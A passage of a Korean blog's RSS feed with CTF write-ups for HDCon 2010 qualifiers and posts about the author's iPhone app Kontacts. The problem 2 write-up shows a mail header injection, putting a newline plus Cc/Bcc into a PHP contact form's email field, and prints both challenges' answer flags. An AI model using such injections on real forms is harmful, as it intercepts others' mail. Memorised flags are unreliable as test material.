			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>HDCon</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/20</guid>
			<comments>http://blog.vhain.com/20#entry20comment</comments>
			<pubDate>Sun, 16 May 2010 13:22:56 +0900</pubDate>
		</item>
		<item>
			<title>HDCon 2010 예선 2번 문제 풀이</title>
			<link>http://blog.vhain.com/19</link>
			<description>&lt;blockquote&gt;내용추가 : 아, 그리구요 아마 multipart/form-data로 보내야 했었던거 같습니다. \n이었나? @엿나 암튼 필터링 되었었을꺼에요.ㅎ 힌트로도 떴었더라죠 ~&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;2번 문제 서버에 접속하면 사이트가 하나 있습니다.&lt;br /&gt;
뭔가 의심이 갔던 것들을 말씀드리자면..&lt;br /&gt;
&lt;br /&gt;
메뉴는 기억 안나는데요, pdf파일을 다운로드 하는 링크가 있던 페이지가 있었는데, download.php?no=숫자&amp;amp;filename=파일명 뭐 이런식으로 링크가 걸려있었습니다. 여기서 File Download 취약점을 생각해보았구요,&lt;br /&gt;
&lt;br /&gt;
그리고 정답이었던 Contact Us 메뉴에 있는 관리자에게 이멜 전송하기 였습니다.&lt;br /&gt;
&lt;br /&gt;
첨엔 Contact Us가 OCR + Blind SQL Injection일까, XSS일까 생각도 엄청 많이 했었는데요...ㅜㅜ (그래서 시간엄청죽였죠)&lt;br /&gt;
풀이법 포스팅이니만큼 풀이법을 말씀드리겠습니다.&lt;br /&gt;
&lt;br /&gt;
정답은 Mail Header Injection입니다.&lt;br /&gt;
&lt;br /&gt;
PHP에서 메일을 전송할 때 mail() 함수를 사용한다는 생각으로도 접근했었는데요,&lt;br /&gt;
mail() 함수의 사용법은 이러합니다.&lt;br /&gt;
&lt;br /&gt;
mail(받는사람 , 제목 , 내용 [, 추가헤더 [, 추가인자]]);&lt;br /&gt;
&lt;br /&gt;
여기서 victim의 php코드를 예상해보자면..&lt;br /&gt;
&lt;br /&gt;
$header = &quot;From: &quot;.&quot;contact us에서 작성한 이멜주소\n&quot;;&lt;br /&gt;
mail(&quot;관리자@이멜.주소&quot;, &quot;contact us에서 작성한 제목&quot;, &quot;contact us에서 작성한 내용&quot;, $header);&lt;br /&gt;
&lt;br /&gt;
간단히 이정도가 될거라 예상했구요...&lt;br /&gt;
mail header에 Cc, Bcc 라는 항목을 추가함을 통해 참조, 숨은참조 등으로 추가적인 수신자를 지정할 수 있다는 사실..을 이용해서, contact us에서 이메일 주소를 작성할 때...&lt;br /&gt;
&lt;br /&gt;
아무 이메일\nCc: 실제이멜&lt;br /&gt;
혹은&lt;br /&gt;
아무 이메일\n Bcc: 실제이멜&lt;br /&gt;
&lt;br /&gt;
이런식으로 작성하시게 된다면, 관리자에게 갈 이메일을 자신도 받아볼 수 있겠죠? ^^;&lt;br /&gt;
성공하시게되면 받아보실 이멜입니다. ^^&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile9.uf.tistory.com/original/200E6B1A4BEF60C70E33A5&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile9.uf.tistory.com/image/200E6B1A4BEF60C70E33A5&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;email.png&quot; height=&quot;745&quot; width=&quot;680&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
정답은 : **CRLF_F0rmD4t4_4774&amp;lt;k_&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-19-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-19-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-19-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>HDCon</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/19</guid>
			<comments>http://blog.vhain.com/19#entry19comment</comments>
			<pubDate>Sun, 16 May 2010 12:05:05 +0900</pubDate>
		</item>
		<item>
			<title>HDCon 2010 예선 1번 문제 풀이</title>
			<link>http://blog.vhain.com/18</link>
			<description>&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile2.uf.tistory.com/original/180C750D4BEF5B0E27F3A8&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile2.uf.tistory.com/image/180C750D4BEF5B0E27F3A8&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;fresh.jpg&quot; height=&quot;453&quot; width=&quot;680&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
문제에서 주어진 fresh.jpg 이미지 파일입니다.&lt;br /&gt;
&lt;br /&gt;
트럭 좌측 하단에 QR Code가 있군여.&lt;br /&gt;
&lt;br /&gt;
전 iPhone의 QRooQRoo 어플로 스캔하였습니다.&lt;br /&gt;
&lt;br /&gt;
바로뜨더군요. ^^&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile1.uf.tistory.com/original/113410054BEF5C8E01BCE6&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile1.uf.tistory.com/image/113410054BEF5C8E01BCE6&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;사진.jpg&quot; height=&quot;480&quot; width=&quot;320&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;정답은 : ~vvh3n_7he^^^R@1n_B3gin666_TQ_F@11&lt;br /&gt;
&lt;br /&gt;
iPhone App 없이 QR Code Decode 해주는 사이트에서 푸신 분의 풀이법을 첨부합니다. :&lt;br /&gt;
&lt;a title=&quot;[http://tigernet.tistory.com/538]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://tigernet.tistory.com/538&quot;&gt;http://tigernet.tistory.com/538&lt;/a&gt;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-18-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-18-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-18-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>HDCon</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/18</guid>
			<comments>http://blog.vhain.com/18#entry18comment</comments>
			<pubDate>Sun, 16 May 2010 11:48:40 +0900</pubDate>
		</item>
		<item>
			<title>Kontacts 2.0 버전 개발 근황</title>
			<link>http://blog.vhain.com/16</link>
			<description>후아... 오늘 정말 정말 눈 코 뜰 새 없이 바쁜 하루였습니다.&lt;br /&gt;
어제 기말고사가 끝나고, 친구들과 점심을 함께하고 집에 온 직후인 오후 3시쯤부터 지금까지,&lt;br /&gt;
&lt;br /&gt;
잠자는시간과 밥먹는시간, 생리적 현상을 해결하는 시간을 제외한 모든시간을 컴퓨터 앞에서 보냈습니다...&lt;br /&gt;
잠도 제대로 자지 못해서 너무 피곤해 죽겠군요...&lt;br /&gt;
답신드려야될 이메일도 스팸을 제외하고 벌써 100건이 훨씬 넘어가고...&lt;br /&gt;
답장 쏴드려야될 트윗 멘션도 역시 수십개가 되는군요..ㅠㅠ&lt;br /&gt;
답글 써드려야될 댓글들도 엄청나구요...&lt;br /&gt;
&lt;br /&gt;
너무피곤해서 이만 자야할듯 싶습니다.&lt;br /&gt;
답신, 답장, 답글들은 모두 내일(아.. 12시가 지났으니 오늘이군요) 일어나자마자 작성하도록 하겠습니다. ㅜㅜ&lt;br /&gt;
&lt;br /&gt;
제게 보내주신 감당할 수 없을 만큼의 많은 관심과 믿음에 걸맞는 보답을 드리는것이 만만한일이 아니네요 !&lt;br /&gt;
&lt;br /&gt;
그래도 절 믿어주시고 응원해주시는 분들께 힘을 받아서 더욱 열심히 하겠습니다.&lt;br /&gt;
&lt;br /&gt;
기대하시는분들을 위해 살짝 개발 중 스샷 첨부해봅니다. ^^;&lt;br /&gt;
&lt;br /&gt;
아직 하루만에 만든 기능들이라 더욱 추가되고, 개선될 점이 많습니다.&lt;br /&gt;
&lt;br /&gt;
그점 감안하시어 그냥 기대용으로 보시는것이...ㅎ;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Kontacts는 항상 현재 특허청에 등록된 특허법에 저촉되지 않은 상태로 Publish됩니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
(물론 그렇다고 저 스샷에서 기능이 제외되는것은 절대 아닙니다. )&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;div class=&quot;imageblock triple&quot; style=&quot;text-align: center&quot;&gt;&lt;table cellspacing=&quot;5&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;margin: 0 auto;&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://cfile25.uf.tistory.com/original/1564B2154B23E1932707F8&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile25.uf.tistory.com/image/1564B2154B23E1932707F8&quot; alt=&quot;&quot; height=&quot;269&quot; width=&quot;180&quot;/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://cfile10.uf.tistory.com/original/1664B2154B23E19328FB0A&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile10.uf.tistory.com/image/1664B2154B23E19328FB0A&quot; alt=&quot;&quot; height=&quot;269&quot; width=&quot;180&quot;/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://cfile4.uf.tistory.com/original/122DDC024B24AF545CAFBB&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile4.uf.tistory.com/image/122DDC024B24AF545CAFBB&quot; alt=&quot;&quot; height=&quot;269&quot; width=&quot;180&quot;/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-16-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-16-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-16-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Kontacts</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/16</guid>
			<comments>http://blog.vhain.com/16#entry16comment</comments>
			<pubDate>Sun, 13 Dec 2009 03:37:14 +0900</pubDate>
		</item>
		<item>
			<title>Kontacts 1.1 업데이트 안되시는 분들이 계시는것 같은데요</title>
			<link>http://blog.vhain.com/15</link>
			<description>중대한 내용인것 같아 아이폰으로 급하게 작성합니다. 집에서 다시 수정하도록 하겠습니다. 1.1버전 업데이트에는 아무런 문제가 없으며, 오늘 새벽에 애플로부터 승인 메일을 받았습니다.&lt;br /&gt;
승인메일을 받은 후 수시간이 지난 방금 전에 한국 스토어(한국계정)에서 정상적으로 업데이트 되는것이 확인되었으며, 다른국가들도 순차적으로 진행되지 않을까 생각됩니다.&lt;br /&gt;
업데이트 안되시는분들 조금만 기다려보세요.&lt;br /&gt;
**********업데이트 성공 여부는, 실행 후 첫 화면 및 정보버튼을 클릭했을때 나오는 화면에서 확인되는 버전이 1.1인지 확인하심을 통해 알아내실 수 있습니다.&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-15-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-15-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-15-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Kontacts</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/15</guid>
			<comments>http://blog.vhain.com/15#entry15comment</comments>
			<pubDate>Sat, 12 Dec 2009 17:36:39 +0900</pubDate>
		</item>
		<item>
			<title>Kontacts 에서 사용자화 벨소리 선택, 표시가 불가능한것에 대하여</title>
			<link>http://blog.vhain.com/14</link>
			<description>이전 포스팅에서 말쓴드린바와 같이 Kontacts 내에서 사용자화 벨소리의 선택, 표시는 공식 API로는 구현이 불가능합니다.&lt;br /&gt;
&lt;br /&gt;
